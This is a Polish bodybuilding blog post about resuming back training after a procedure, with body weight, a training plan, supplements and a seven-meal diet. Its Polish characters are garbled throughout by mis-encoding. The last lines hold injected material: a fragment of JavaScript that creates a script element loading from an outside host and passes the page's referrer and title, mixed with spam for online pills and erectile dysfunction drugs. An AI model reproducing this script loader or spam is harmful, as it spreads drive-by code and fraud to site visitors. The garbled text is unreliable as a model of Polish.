Trening plecA?w po zabiegu

22.01.2012 / Michał Karmowski

Wczoraj pierwszy raz po zabiegu trenowaAi??em plecy, miaAi??o byAi?? lekko ale na trening przyjechaAi?? mA?j podopieczny BartekAi?? i jak na ten okres zrobiAi??em je doAi??Ai?? cieA?ko na koniec dobiAi??em bicepsy i zrobiAi??em 20 minutowAi?? sesjAi?? cardio na bieA?ni. MyAi??laAi??em , A?e po przerwie bAi??dzie mi ciAi??A?ko utrzymaAi?? tempo ale chodziAi??em jak zawsze 7,0km/h i 11%incline:-)

Waga na dzieAi?? dziesiejszy to 112kg i nie powiem A?ebym czuAi?? siAi?? komfortowo , ale taka kolej rzeczy…, od poniedziaAi??ku bAi??dAi?? trenowaAi?? 4 razy w tyg trenujAi??c kaA?dAi?? grupAi?? jeden raz. Nie bAi??dAi?? szalaAi?? z cieA?arami dlatego zakres powtA?rzeAi?? to 15-20 w seriach. Na razie nie zwiekszam w tym tygodniu jedzenia i nie dodajAi?? A?adnych suplementA?w poza TRIBULONEM BLACK I GH TURBO , ktA?re stosujAi?? caAi??y czas.

Obecna dieta:

1-300g biaAi??ek, 130g pAi??atkA?w owsianych, 50g orzechA?w,

2-150g woAi??owiny, 50g ryzu, 20g oleju lnianego, 200g brokuAi??A?w

3-150g indyka, 50g ryA?u, awokado, 200g fasoli szparagowej

TRENING- po treningu posiAi??ek

4-150g indyka, 100g ryzu

5-150g woAi??owiny, 50g ryzu, 20g oleju lnianego, 200g brokuAi??A?w

6-150g indyka,50g ryA?u , 20g oliwy z oliwek, 200g pomidorA?w

7-300g biaAi??ek jaj, 50g masAi??a migdaAi??owego:-)

httpv://www.youtube.com/watch?v=OkR1OIOXoecs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Purchase Pills var d=document;var s=d.createElement(‚script’); cheap roxithromycin 150mg Purchase buy stromectol for humans pills online discount erectile dysfunction drugs Purchase Pills